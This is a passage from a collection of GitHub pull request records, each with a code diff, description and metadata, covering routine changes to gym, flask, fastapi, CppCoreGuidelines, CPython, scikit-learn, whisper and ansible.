"gym.make('EnvName', render_mode='human') and don't call the render method.\n" - "See here for more information: https://www.gymlibrary.ml/content/api/" - ) - - return render_func(self, *args, **kwargs) - - return render - - -decorator = _EnvDecorator -if sys.version_info[0:2] == (3, 6): - # needed for https://github.com/python/typing/issues/449 - from typing import GenericMeta +# TODO: remove with gym 1.0 +def _deprecate_mode(render_func): # type: ignore + """Wrapper used for adding deprecation warning to the mode kwarg in the render method.""" + render_return = Optional[Union[RenderFrame, List[RenderFrame]]] - class _GenericEnvDecorator(GenericMeta, _EnvDecorator): - pass + def render( + self: object, *args: Tuple[Any], **kwargs: Dict[str, Any] + ) -> render_return: + if "mode" in kwargs.keys() or len(args) > 0: + deprecation( + "The argument mode in render method is deprecated; " + "use render_mode during environment initialization instead.\n" + "See here for more information: https://www.gymlibrary.ml/content/api/" + ) + elif self.spec is not None and "render_mode" not in self.spec.kwargs.keys(): # type: ignore + deprecation( + "You are calling render method, " + "but you didn't specified the argument render_mode at environment initialization. " + "To maintain backward compatibility, the environment will render in human mode.\n" + "If you want to render in human mode, initialize the environment in this way: " + "gym.make('EnvName', render_mode='human') and don't call the render method.\n" + "See here for more information: https://www.gymlibrary.ml/content/api/" + ) - decorator = _GenericEnvDecorator + return render_func(self, *args, **kwargs) + return render -class Env(Generic[ObsType, ActType], metaclass=decorator): + +class Env(Generic[ObsType, ActType]): r"""The main OpenAI Gym class. It encapsulates an environment with arbitrary behind-the-scenes dynamics. @@ -106,6 +87,12 @@ class Env(Generic[ObsType, ActType], metaclass=decorator): Note: a default reward range set to :math:`(-\infty,+\infty)` already exists. Set it if you want a narrower range. """ + def __init_subclass__(cls) -> None: + """Hook used for wrapping render method.""" + super().__init_subclass__() + if "render" in vars(cls): + cls.render = _deprecate_mode(vars(cls)["render"]) + # Set this in SOME subclasses metadata = {"render_modes": []} render_mode = None # define render_mode if your environment supports rendering
# Description Using `__init_subclass__` instead of metaclass, suggested by [PEP 487](https://peps.python.org/pep-0487/)(introduced in python3.6). As a result, downstream package can safely inherit from `gym.Env` and `abc.ABC`/`Protocol`/...(classes with metaclass != `type`), or set their own metaclass without making a intermediate metaclass inherited from custom metaclass and `type(gym.Env)`. For example, https://github.com/rlworkgroup/metaworld use `abc.ABC`/`abc.ABCMeta`, thus it was broken by the metaclass introduced in `gym-0.25.0`. https://github.com/rlworkgroup/metaworld/blob/18118a28c06893da0f363786696cc792457b062b/metaworld/envs/mujoco/mujoco_env.py#L31 https://github.com/rlworkgroup/metaworld/blob/18118a28c06893da0f363786696cc792457b062b/metaworld/envs/mujoco/sawyer_xyz/sawyer_xyz_env.py#L14 ```python import abc, gym class SomeAbstractEnvUseABCMeta(gym.Env, metaclass=abc.ABCMeta): pass class SomeAbstractEnvUseABC(gym.Env, abc.ABC): pass ``` Above code works on `gym<0.25.0`, but crashs on `gym==0.25.0` ![image](https://user-images.githubusercontent.com/83971976/181503144-043d537a-f88c-4a6a-9e1f-7c8c8d157fc6.png) ## Type of change - [x] Bug fix (non-breaking change which fixes an issue) If user-code/downstream library doesn't depend on `type(gym.Env)`, it should not be a breaking change, but there is a rare case that workaround for metaclass introduced in `gym-0.25.0` is used: ```python import abc, gym class AbstractEnvMeta(type(gym.Env), abc.ABCMeta): pass class SomeAbstractEnv(gym.Env, metaclass=AbstractEnvMeta): pass ``` Above code will crash if `issubclass(abc.ABCMeta, type(gym.Env))`, which is true without decorator metaclass introduced in `gym-0.25.0` since `type(gym.Env) is type`, because of [MRO conflict](https://stackoverflow.com/a/42567588/16613821). i.e., above code will crash on `gym<0.25.0` and after this change. I want to note that following code won't crash on any version of `gym` or after this change: ```python import abc, gym class AbstractEnvMeta(abc.ABCMeta, type(gym.Env)): pass class SomeAbstractEnv(gym.Env, metaclass=AbstractEnvMeta): pass ``` # Checklist: - [x] I have run the [`pre-commit` checks](https://pre-commit.com/) with `pre-commit run --all-files` (see `CONTRIBUTING.md` instructions to set it up) - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [ ] I have added tests that prove my fix is effective or that my feature works - [ ] New and existing unit tests pass locally with my changes
https://api.github.com/repos/openai/gym/pulls/3001
2022-07-28T11:58:51Z
2022-08-16T15:19:32Z
2022-08-16T15:19:32Z
2022-08-16T15:19:32Z
1,097
openai/gym
5,194
Fixes for sentry docs
diff --git a/docs/errorhandling.rst b/docs/errorhandling.rst index bfc7f1181c..12deadd4cc 100644 --- a/docs/errorhandling.rst +++ b/docs/errorhandling.rst @@ -57,19 +57,15 @@ The `YOUR_DSN_HERE` value needs to be replaced with the DSN value you get from your Sentry installation. After installation, failures leading to an Internal Server Error are automatically reported to -Sentry and from there you can receive error notifications. Sentry also supports -capturing custom exceptions:: - - import sentry_sdk - - try: - throwing_function() - except Exception as e: - with sentry_sdk.push_scope() as scope: - sentry_sdk.capture_exception(e) - -See the `Python <https://docs.sentry.io/platforms/python/>`_ and `Flask-specific <https://docs.sentry.io/platforms/python/flask/>`_ -Sentry SDK documentation for more detailed information. +Sentry and from there you can receive error notifications. + +Follow-up reads: + +* Sentry also supports catching errors from your worker queue (RQ, Celery) in a + similar fashion. See the `Python SDK docs + <https://docs.sentry.io/platforms/python/>`_ for more information. +* `Getting started with Sentry <https://docs.sentry.io/quickstart/?platform=python>`_ +* `Flask-specific documentation <https://docs.sentry.io/platforms/python/flask/>`_. .. _error-handlers:
Followup to #2990
https://api.github.com/repos/pallets/flask/pulls/2991
2018-11-07T19:31:33Z
2018-11-07T20:04:11Z
2018-11-07T20:04:11Z
2020-11-14T02:42:35Z
345
pallets/flask
20,569
👷 Update GitHub Action latest-changes
diff --git a/.github/workflows/latest-changes.yml b/.github/workflows/latest-changes.yml index 829377bb39ada..ed4d4554c4faa 100644 --- a/.github/workflows/latest-changes.yml +++ b/.github/workflows/latest-changes.yml @@ -21,6 +21,9 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 + with: + # To allow latest-changes to commit to master + token: ${{ secrets.ACTION_TOKEN }} # Allow debugging with tmate - name: Setup tmate session uses: mxschmitt/action-tmate@v3
👷 Update GitHub Action latest-changes Use a custom token to checkout with git, and this way allow it to push to master.
https://api.github.com/repos/tiangolo/fastapi/pulls/3574
2021-07-21T10:31:50Z
2021-07-21T10:33:43Z
2021-07-21T10:33:43Z
2021-07-21T10:33:43Z
157
tiangolo/fastapi
23,341
Replacing problematic code example in ES.41
diff --git a/CppCoreGuidelines.md b/CppCoreGuidelines.md index 7880874ca..038254762 100644 --- a/CppCoreGuidelines.md +++ b/CppCoreGuidelines.md @@ -8412,13 +8412,14 @@ Avoid errors. Readability. Not everyone has the operator table memorized. ##### Example - if (a && b == 1) // OK? - if (a & b == 1) // OK? + const unsigned int flag = 2; + unsigned int a = flag; + + if (a & flag != 0) // bad: means a&(flag != 0) Note: We recommend that programmers know their precedence table for the arithmetic operations, the logical operations, but consider mixing bitwise logical operations with other operators in need of parentheses. - if (a && b == 1) // OK: means a&&(b == 1) - if (a & b == 1) // bad: means (a&b) == 1 + if ((a & flag) != 0) // OK: works as intended ##### Note
The comment in the second line below seems wrong. ``` if (a && b == 1) // OK: means a&&(b == 1) if (a & b == 1) // bad: means (a&b) == 1 ``` As both `&` and `&&` has lower precedence than `==`, `a & b == 1` should mean `a&(b == 1)`. After correcting it, the original example becomes irrelevant, so I propose a different one. (a more elaborate version can be tried out [here](http://cpp.sh/6zdyj)).
https://api.github.com/repos/isocpp/CppCoreGuidelines/pulls/365
2015-10-27T19:03:01Z
2015-10-28T13:26:49Z
2015-10-28T13:26:49Z
2015-10-28T13:26:55Z
261
isocpp/CppCoreGuidelines
15,749
[Delete benchmark_runner]: Scoreboard already removed
diff --git a/examples/scripts/benchmark_runner b/examples/scripts/benchmark_runner deleted file mode 100755 index aa01f5e5fb0..00000000000 --- a/examples/scripts/benchmark_runner +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python -# -# Run all the tasks on a benchmark using a random agent. -# -# This script assumes you have set an OPENAI_GYM_API_KEY environment -# variable. You can find your API key in the web interface: -# https://gym.openai.com/settings/profile. -# -import argparse -import logging -import os -import sys - -import gym -# In modules, use `logger = logging.getLogger(__name__)` -from gym import wrappers -from gym.scoreboard.scoring import benchmark_score_from_local - -import openai_benchmark - -logger = logging.getLogger() - -def main(): - parser = argparse.ArgumentParser(description=None) - parser.add_argument('-b', '--benchmark-id', help='id of benchmark to run e.g. Atari7Ram-v0') - parser.add_argument('-v', '--verbose', action='count', dest='verbosity', default=0, help='Set verbosity.') - parser.add_argument('-f', '--force', action='store_true', dest='force', default=False) - parser.add_argument('-t', '--training-dir', default="/tmp/gym-results", help='What directory to upload.') - args = parser.parse_args() - - if args.verbosity == 0: - logger.setLevel(logging.INFO) - elif args.verbosity >= 1: - logger.setLevel(logging.DEBUG) - - benchmark_id = args.benchmark_id - if benchmark_id is None: - logger.info("Must supply a valid benchmark") - return 1 - - try: - benchmark = gym.benchmark_spec(benchmark_id) - except Exception: - logger.info("Invalid benchmark") - return 1 - - # run benchmark tasks - for task in benchmark.tasks: - logger.info("Running on env: {}".format(task.env_id)) - for trial in range(task.trials): - env = gym.make(task.env_id) - training_dir_name = "{}/{}-{}".format(args.training_dir, task.env_id, trial) - env = wrappers.Monitor(env, training_dir_name, video_callable=False, force=args.force) - env.reset() - for _ in range(task.max_timesteps): - o, r, done, _ = env.step(env.action_space.sample()) - if done: - env.reset() - env.close() - - logger.info("""Computing statistics for this benchmark run... -{{ - score: {score}, - num_envs_solved: {num_envs_solved}, - summed_training_seconds: {summed_training_seconds}, - start_to_finish_seconds: {start_to_finish_seconds}, -}} - - """.rstrip().format(**benchmark_score_from_local(benchmark_id, args.training_dir))) - - logger.info("""Done running, upload results using the following command: - -python -c "import gym; gym.upload('{}', benchmark_id='{}', algorithm_id='(unknown)')" - - """.rstrip().format(args.training_dir, benchmark_id)) - - return 0 - -if __name__ == '__main__': - sys.exit(main())
https://api.github.com/repos/openai/gym/pulls/1309
2019-02-06T15:28:22Z
2019-02-09T00:18:19Z
2019-02-09T00:18:19Z
2019-03-27T08:05:40Z
731
openai/gym
5,116
bpo-36346: Add Py_DEPRECATED to deprecated unicode APIs
diff --git a/Doc/whatsnew/3.9.rst b/Doc/whatsnew/3.9.rst index 67a83bc9584578..15fca8fa9d4c98 100644 --- a/Doc/whatsnew/3.9.rst +++ b/Doc/whatsnew/3.9.rst @@ -1097,6 +1097,12 @@ Porting to Python 3.9 internal C API (``pycore_gc.h``). (Contributed by Victor Stinner in :issue:`40241`.) +* The ``Py_UNICODE_COPY``, ``Py_UNICODE_FILL``, ``PyUnicode_WSTR_LENGTH``, + :c:func:`PyUnicode_FromUnicode`, :c:func:`PyUnicode_AsUnicode`, + ``_PyUnicode_AsUnicode``, and :c:func:`PyUnicode_AsUnicodeAndSize` are + marked as deprecated in C. They have been deprecated by :pep:`393` since + Python 3.3. + (Contributed by Inada Naoki in :issue:`36346`.) Removed ------- @@ -1165,3 +1171,8 @@ Removed * Remove ``_PyUnicode_ClearStaticStrings()`` function. (Contributed by Victor Stinner in :issue:`39465`.) + +* Remove ``Py_UNICODE_MATCH``. It has been deprecated by :pep:`393`, and + broken since Python 3.3. The :c:func:`PyUnicode_Tailmatch` function can be + used instead. + (Contributed by Inada Naoki in :issue:`36346`.) diff --git a/Include/cpython/unicodeobject.h b/Include/cpython/unicodeobject.h index 3b49ce7759037e..569bdb1e2a94ba 100644 --- a/Include/cpython/unicodeobject.h +++ b/Include/cpython/unicodeobject.h @@ -46,13 +46,17 @@ Py_UNICODE_ISDIGIT(ch) || \ Py_UNICODE_ISNUMERIC(ch)) -#define Py_UNICODE_COPY(target, source, length) \ - memcpy((target), (source), (length)*sizeof(Py_UNICODE)) - -#define Py_UNICODE_FILL(target, value, length) \ - do {Py_ssize_t i_; Py_UNICODE *t_ = (target); Py_UNICODE v_ = (value);\ - for (i_ = 0; i_ < (length); i_++) t_[i_] = v_;\ - } while (0) +Py_DEPRECATED(3.3) static inline void +Py_UNICODE_COPY(Py_UNICODE *target, const Py_UNICODE *source, Py_ssize_t length) { + memcpy(target, source, length * sizeof(Py_UNICODE)); +} + +Py_DEPRECATED(3.3) static inline void +Py_UNICODE_FILL(Py_UNICODE *target, Py_UNICODE value, Py_ssize_t length) { + for (Py_ssize_t i = 0; i < length; i++) { + target[i] = value; + } +} /* macros to work with surrogates */ #define Py_UNICODE_IS_SURROGATE(ch) (0xD800 <= (ch) && (ch) <= 0xDFFF) @@ -67,14 +71,6 @@ /* low surrogate = bottom 10 bits added to DC00 */ #define Py_UNICODE_LOW_SURROGATE(ch) (0xDC00 + ((ch) & 0x3FF)) -/* Check if substring matches at given offset. The offset must be - valid, and the substring must not be empty. */ - -#define Py_UNICODE_MATCH(string, offset, substring) \ - ((*((string)->wstr + (offset)) == *((substring)->wstr)) && \ - ((*((string)->wstr + (offset) + (substring)->wstr_length-1) == *((substring)->wstr + (substring)->wstr_length-1))) && \ - !memcmp((string)->wstr + (offset), (substring)->wstr, (substring)->wstr_length*sizeof(Py_UNICODE))) - /* --- Unicode Type ------------------------------------------------------- */ /* ASCII-only strings created through PyUnicode_New use the PyASCIIObject @@ -247,10 +243,6 @@ PyAPI_FUNC(int) _PyUnicode_CheckConsistency( int check_content); /* Fast access macros */ -#define PyUnicode_WSTR_LENGTH(op) \ - (PyUnicode_IS_COMPACT_ASCII(op) ? \ - ((PyASCIIObject*)op)->length : \ - ((PyCompactUnicodeObject*)op)->wstr_length) /* Returns the deprecated Py_UNICODE representation's size in code units (this includes surrogate pairs as 2 units). @@ -445,6 +437,14 @@ enum PyUnicode_Kind { (0xffffU) : \ (0x10ffffU))))) +Py_DEPRECATED(3.3) +static inline Py_ssize_t _PyUnicode_get_wstr_length(PyObject *op) { + return PyUnicode_IS_COMPACT_ASCII(op) ? + ((PyASCIIObject*)op)->length : + ((PyCompactUnicodeObject*)op)->wstr_length; +} +#define PyUnicode_WSTR_LENGTH(op) _PyUnicode_get_wstr_length((PyObject*)op) + /* === Public API ========================================================= */ /* --- Plain Py_UNICODE --------------------------------------------------- */ @@ -543,7 +543,7 @@ PyAPI_FUNC(void) _PyUnicode_FastFill( only allowed if u was set to NULL. The buffer is copied into the new object. */ -/* Py_DEPRECATED(3.3) */ PyAPI_FUNC(PyObject*) PyUnicode_FromUnicode( +Py_DEPRECATED(3.3) PyAPI_FUNC(PyObject*) PyUnicode_FromUnicode( const Py_UNICODE *u, /* Unicode buffer */ Py_ssize_t size /* size of buffer */ ); @@ -572,13 +572,13 @@ PyAPI_FUNC(Py_UCS4) _PyUnicode_FindMaxChar ( Py_UNICODE buffer. If the wchar_t/Py_UNICODE representation is not yet available, this function will calculate it. */ -/* Py_DEPRECATED(3.3) */ PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicode( +Py_DEPRECATED(3.3) PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicode( PyObject *unicode /* Unicode object */ ); /* Similar to PyUnicode_AsUnicode(), but raises a ValueError if the string contains null characters. */ -PyAPI_FUNC(const Py_UNICODE *) _PyUnicode_AsUnicode( +Py_DEPRECATED(3.3) PyAPI_FUNC(const Py_UNICODE *) _PyUnicode_AsUnicode( PyObject *unicode /* Unicode object */ ); @@ -587,7 +587,7 @@ PyAPI_FUNC(const Py_UNICODE *) _PyUnicode_AsUnicode( If the wchar_t/Py_UNICODE representation is not yet available, this function will calculate it. */ -/* Py_DEPRECATED(3.3) */ PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicodeAndSize( +Py_DEPRECATED(3.3) PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicodeAndSize( PyObject *unicode, /* Unicode object */ Py_ssize_t *size /* location where to save the length */ ); diff --git a/Misc/NEWS.d/next/C API/2020-06-17-11-24-00.bpo-36346.fTMr3S.rst b/Misc/NEWS.d/next/C API/2020-06-17-11-24-00.bpo-36346.fTMr3S.rst new file mode 100644 index 00000000000000..902a0e60727e6a --- /dev/null +++ b/Misc/NEWS.d/next/C API/2020-06-17-11-24-00.bpo-36346.fTMr3S.rst @@ -0,0 +1,4 @@ +Mark ``Py_UNICODE_COPY``, ``Py_UNICODE_FILL``, ``PyUnicode_WSTR_LENGTH``, +``PyUnicode_FromUnicode``, ``PyUnicode_AsUnicode``, ``_PyUnicode_AsUnicode``, +and ``PyUnicode_AsUnicodeAndSize`` as deprecated in C. Remove ``Py_UNICODE_MATCH`` +which was deprecated and broken since Python 3.3. diff --git a/Modules/_testcapimodule.c b/Modules/_testcapimodule.c index e0457ae5dfa55d..5302641a9a37ef 100644 --- a/Modules/_testcapimodule.c +++ b/Modules/_testcapimodule.c @@ -1668,6 +1668,10 @@ parse_tuple_and_keywords(PyObject *self, PyObject *args) static volatile int x; +/* Ignore use of deprecated APIs */ +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS + /* Test the u and u# codes for PyArg_ParseTuple. May leak memory in case of an error. */ @@ -1844,6 +1848,7 @@ test_widechar(PyObject *self, PyObject *Py_UNUSED(ignored)) Py_RETURN_NONE; } +_Py_COMP_DIAG_POP static PyObject * unicode_aswidechar(PyObject *self, PyObject *args) @@ -2064,6 +2069,10 @@ unicode_transformdecimaltoascii(PyObject *self, PyObject *args) return PyUnicode_TransformDecimalToASCII(unicode, length); } +/* Ignore use of deprecated APIs */ +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS + static PyObject * unicode_legacy_string(PyObject *self, PyObject *args) { @@ -2086,6 +2095,7 @@ unicode_legacy_string(PyObject *self, PyObject *args) return u; } +_Py_COMP_DIAG_POP static PyObject * getargs_w_star(PyObject *self, PyObject *args) diff --git a/Objects/unicodeobject.c b/Objects/unicodeobject.c index c75eb077e0c80d..1433848c81f8e1 100644 --- a/Objects/unicodeobject.c +++ b/Objects/unicodeobject.c @@ -120,6 +120,13 @@ extern "C" { _PyUnicode_UTF8_LENGTH(op)) #define _PyUnicode_WSTR(op) \ (((PyASCIIObject*)(op))->wstr) + +/* Don't use deprecated macro of unicodeobject.h */ +#undef PyUnicode_WSTR_LENGTH +#define PyUnicode_WSTR_LENGTH(op) \ + (PyUnicode_IS_COMPACT_ASCII(op) ? \ + ((PyASCIIObject*)op)->length : \ + ((PyCompactUnicodeObject*)op)->wstr_length) #define _PyUnicode_WSTR_LENGTH(op) \ (((PyCompactUnicodeObject*)(op))->wstr_length) #define _PyUnicode_LENGTH(op) \ @@ -970,11 +977,14 @@ ensure_unicode(PyObject *obj) #include "stringlib/find_max_char.h" #include "stringlib/undef.h" +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS #include "stringlib/unicodedefs.h" #include "stringlib/fastsearch.h" #include "stringlib/count.h" #include "stringlib/find.h" #include "stringlib/undef.h" +_Py_COMP_DIAG_POP /* --- Unicode Object ----------------------------------------------------- */ @@ -4097,6 +4107,11 @@ PyUnicode_AsUnicodeAndSize(PyObject *unicode, Py_ssize_t *size) return w; } +/* Deprecated APIs */ + +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS + Py_UNICODE * PyUnicode_AsUnicode(PyObject *unicode) { @@ -4135,6 +4150,8 @@ PyUnicode_GetSize(PyObject *unicode) return -1; } +_Py_COMP_DIAG_POP + Py_ssize_t PyUnicode_GetLength(PyObject *unicode) { @@ -12364,6 +12381,8 @@ PyUnicode_IsIdentifier(PyObject *self) return len && i == len; } else { +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS Py_ssize_t i = 0, len = PyUnicode_GET_SIZE(self); if (len == 0) { /* an empty string is not a valid identifier */ @@ -12401,6 +12420,7 @@ PyUnicode_IsIdentifier(PyObject *self) } } return 1; +_Py_COMP_DIAG_POP } } @@ -15955,7 +15975,10 @@ PyUnicode_AsUnicodeCopy(PyObject *unicode) PyErr_BadArgument(); return NULL; } +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS u = PyUnicode_AsUnicodeAndSize(unicode, &len); +_Py_COMP_DIAG_POP if (u == NULL) return NULL; /* Ensure we won't overflow the size. */ diff --git a/Python/getargs.c b/Python/getargs.c index d2dba49966d47f..cf0cc0783687ae 100644 --- a/Python/getargs.c +++ b/Python/getargs.c @@ -1027,6 +1027,9 @@ convertsimple(PyObject *arg, const char **p_format, va_list *p_va, int flags, case 'u': /* raw unicode buffer (Py_UNICODE *) */ case 'Z': /* raw unicode buffer or None */ { + // TODO: Raise DeprecationWarning +_Py_COMP_DIAG_PUSH +_Py_COMP_DIAG_IGNORE_DEPR_DECLS Py_UNICODE **p = va_arg(*p_va, Py_UNICODE **); if (*format == '#') { @@ -1066,6 +1069,7 @@ convertsimple(PyObject *arg, const char **p_format, va_list *p_va, int flags, arg, msgbuf, bufsize); } break; +_Py_COMP_DIAG_POP } case 'e': {/* encoded string */
<!-- issue-number: [bpo-36346](https://bugs.python.org/issue36346) --> https://bugs.python.org/issue36346 <!-- /issue-number -->
https://api.github.com/repos/python/cpython/pulls/20878
2020-06-15T01:15:14Z
2020-06-17T11:09:45Z
2020-06-17T11:09:45Z
2020-06-17T12:21:40Z
3,023
python/cpython
4,490
API don't default get_params output to None in the future
diff --git a/doc/whats_new/v0.22.rst b/doc/whats_new/v0.22.rst index bcef08ff1881b..6819cad18e2e1 100644 --- a/doc/whats_new/v0.22.rst +++ b/doc/whats_new/v0.22.rst @@ -45,6 +45,14 @@ Changelog :pr:`123456` by :user:`Joe Bloggs <joeongithub>`. where 123456 is the *pull request* number, not the issue number. +:mod:`sklearn.base` +................... + +- |API| From version 0.24 :meth:`BaseEstimator.get_params` will raise an + AttributeError rather than return None for parameters that are in the + estimator's constructor but not stored as attributes on the instance. + :pr:`14464` by `Joel Nothman`_. + :mod:`sklearn.calibration` .......................... @@ -112,6 +120,14 @@ Changelog `predict_proba` give consistent results. :pr:`14114` by :user:`Guillaume Lemaitre <glemaitre>`. +:mod:`sklearn.gaussian_process` +............................... + +- |API| From version 0.24 :meth:`Kernel.get_params` will raise an + AttributeError rather than return None for parameters that are in the + estimator's constructor but not stored as attributes on the instance. + :pr:`14464` by `Joel Nothman`_. + :mod:`sklearn.linear_model` ........................... diff --git a/sklearn/base.py b/sklearn/base.py index fb0818efc8248..dfc334a0efdc3 100644 --- a/sklearn/base.py +++ b/sklearn/base.py @@ -193,7 +193,15 @@ def get_params(self, deep=True): """ out = dict() for key in self._get_param_names(): - value = getattr(self, key, None) + try: + value = getattr(self, key) + except AttributeError: + warnings.warn('From version 0.24, get_params will raise an ' + 'AttributeError if a parameter cannot be ' + 'retrieved as an instance attribute. Previously ' + 'it would return None.', + FutureWarning) + value = None if deep and hasattr(value, 'get_params'): deep_items = value.get_params().items() out.update((key + '__' + k, val) for k, val in deep_items) diff --git a/sklearn/gaussian_process/kernels.py b/sklearn/gaussian_process/kernels.py index 88e97deaecf54..f1e857b4db255 100644 --- a/sklearn/gaussian_process/kernels.py +++ b/sklearn/gaussian_process/kernels.py @@ -23,6 +23,7 @@ from collections import namedtuple import math from inspect import signature +import warnings import numpy as np from scipy.special import kv, gamma @@ -157,7 +158,16 @@ def get_params(self, deep=True): " %s doesn't follow this convention." % (cls, )) for arg in args: - params[arg] = getattr(self, arg, None) + try: + value = getattr(self, arg) + except AttributeError: + warnings.warn('From version 0.24, get_params will raise an ' + 'AttributeError if a parameter cannot be ' + 'retrieved as an instance attribute. Previously ' + 'it would return None.', + FutureWarning) + value = None + params[arg] = value return params def set_params(self, **params): diff --git a/sklearn/gaussian_process/tests/test_kernels.py b/sklearn/gaussian_process/tests/test_kernels.py index 7dd9c9900fcda..7c5614d917a69 100644 --- a/sklearn/gaussian_process/tests/test_kernels.py +++ b/sklearn/gaussian_process/tests/test_kernels.py @@ -14,7 +14,7 @@ from sklearn.gaussian_process.kernels \ import (RBF, Matern, RationalQuadratic, ExpSineSquared, DotProduct, ConstantKernel, WhiteKernel, PairwiseKernel, KernelOperator, - Exponentiation) + Exponentiation, Kernel) from sklearn.base import clone from sklearn.utils.testing import (assert_almost_equal, @@ -323,3 +323,24 @@ def test_repr_kernels(kernel): # Smoke-test for repr in kernels. repr(kernel) + + +def test_warns_on_get_params_non_attribute(): + class MyKernel(Kernel): + def __init__(self, param=5): + pass + + def __call__(self, X, Y=None, eval_gradient=False): + return X + + def diag(self, X): + return np.ones(X.shape[0]) + + def is_stationary(self): + return False + + est = MyKernel() + with pytest.warns(FutureWarning, match='AttributeError'): + params = est.get_params() + + assert params['param'] is None diff --git a/sklearn/pipeline.py b/sklearn/pipeline.py index c66e37761782d..3d0207a4c16fc 100644 --- a/sklearn/pipeline.py +++ b/sklearn/pipeline.py @@ -127,9 +127,9 @@ class Pipeline(_BaseComposition): def __init__(self, steps, memory=None, verbose=False): self.steps = steps - self._validate_steps() self.memory = memory self.verbose = verbose + self._validate_steps() def get_params(self, deep=True): """Get parameters for this estimator. diff --git a/sklearn/tests/test_base.py b/sklearn/tests/test_base.py index 032d9b232523f..c47925b22c92e 100644 --- a/sklearn/tests/test_base.py +++ b/sklearn/tests/test_base.py @@ -505,3 +505,18 @@ def test_regressormixin_score_multioutput(): "built-in scorer 'r2' uses " "multioutput='uniform_average').") assert_warns_message(FutureWarning, msg, reg.score, X, y) + + +def test_warns_on_get_params_non_attribute(): + class MyEstimator(BaseEstimator): + def __init__(self, param=5): + pass + + def fit(self, X, y=None): + return self + + est = MyEstimator() + with pytest.warns(FutureWarning, match='AttributeError'): + params = est.get_params() + + assert params['param'] is None
#### Reference Issues/PRs Fixes #14461 #### What does this implement/fix? Explain your changes. Previously, the default implementation of `get_params` would use `getattr` to retrieve a parameter value from an estimator, but would default to retrieve None if an AttributeError would otherwise have been raised. This can lead to surprising behaviour upon `clone` when `__init__` is not correctly defined, as shown in #14461. I propose that we raise an AttributeError when a param cannot be retrieved by `getattr`. This PR deprecates returning None, and raises a FutureWarning. #### Any other comments? TODO: add tests
https://api.github.com/repos/scikit-learn/scikit-learn/pulls/14464
2019-07-25T00:34:02Z
2019-07-28T13:37:48Z
2019-07-28T13:37:48Z
2019-07-28T13:37:48Z
1,534
scikit-learn/scikit-learn
46,102
[MRG+1] fix the path of html files in contributing.md
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b76286159b792..ece0ef947ef2e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -217,7 +217,7 @@ You can edit the documentation using any text editor and then generate the HTML output by typing ``make html`` from the doc/ directory. Alternatively, ``make`` can be used to quickly generate the documentation without the example gallery. The resulting HTML files will -be placed in ``_build/html/`` and are viewable in a web browser. See the +be placed in ``_build/html/stable`` and are viewable in a web browser. See the ``README`` file in the ``doc/`` directory for more information. For building the documentation, you will need
#### What does this implement/fix? Explain your changes. When building the documentation, the resulting html files are located in _build/html/stable as indicated in the contributing section of the user guide. This PR fixes the path in CONTRIBUTING.md <!-- Please be aware that we are a loose team of volunteers so patience is necessary; assistance handling other issues is very welcome. We value all user contributions, no matter how minor they are. If we are slow to review, either the pull request needs some benchmarking, tinkering, convincing, etc. or more likely the reviewers are simply busy. In either case, we ask for your understanding during the review process. For more information, see our FAQ on this topic: http://scikit-learn.org/dev/faq.html#why-is-my-pull-request-not-getting-any-attention. Thanks for contributing! -->
https://api.github.com/repos/scikit-learn/scikit-learn/pulls/10688
2018-02-24T16:44:17Z
2018-02-25T04:10:29Z
2018-02-25T04:10:29Z
2018-02-25T04:10:29Z
188
scikit-learn/scikit-learn
46,225
remove tiktoken pin
diff --git a/requirements.txt b/requirements.txt index 3c11ac32..a03dae85 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,4 +3,4 @@ numpy torch tqdm more-itertools -tiktoken==0.3.3 +tiktoken diff --git a/tests/test_tokenizer.py b/tests/test_tokenizer.py index 09d0351e..be424e5f 100644 --- a/tests/test_tokenizer.py +++ b/tests/test_tokenizer.py @@ -1,7 +1,17 @@ +import pytest + from whisper.tokenizer import get_tokenizer -def test_tokenizer(): +@pytest.mark.parametrize("multilingual", [True, False]) +def test_tokenizer(multilingual): + tokenizer = get_tokenizer(multilingual=False) + assert tokenizer.sot in tokenizer.sot_sequence + assert len(tokenizer.all_language_codes) == len(tokenizer.all_language_tokens) + assert all(c < tokenizer.timestamp_begin for c in tokenizer.all_language_tokens) + + +def test_multilingual_tokenizer(): gpt2_tokenizer = get_tokenizer(multilingual=False) multilingual_tokenizer = get_tokenizer(multilingual=True) @@ -20,5 +30,5 @@ def test_split_on_unicode(): tokens = [8404, 871, 287, 6, 246, 526, 3210, 20378] words, word_tokens = multilingual_tokenizer.split_tokens_on_unicode(tokens) - assert words == [" elle", " est", " l", "'", "�", "é", "rit", "oire"] + assert words == [" elle", " est", " l", "'", "\ufffd", "é", "rit", "oire"] assert word_tokens == [[8404], [871], [287], [6], [246], [526], [3210], [20378]]
As suggested in #1713
https://api.github.com/repos/openai/whisper/pulls/1759
2023-11-06T10:58:51Z
2023-11-06T11:05:21Z
2023-11-06T11:05:21Z
2023-11-06T11:05:21Z
426
openai/whisper
45,813
Add Iterable in 2.7 _collections_compat
diff --git a/lib/ansible/module_utils/common/_collections_compat.py b/lib/ansible/module_utils/common/_collections_compat.py index b44dbcf929182e..86edd493ee2a57 100644 --- a/lib/ansible/module_utils/common/_collections_compat.py +++ b/lib/ansible/module_utils/common/_collections_compat.py @@ -18,6 +18,7 @@ Mapping, MutableMapping, Sequence, MutableSequence, Set, MutableSet, + Iterable, ) except ImportError: """Use old lib location under 2.6-3.2.""" @@ -26,4 +27,5 @@ Mapping, MutableMapping, Sequence, MutableSequence, Set, MutableSet, + Iterable, )
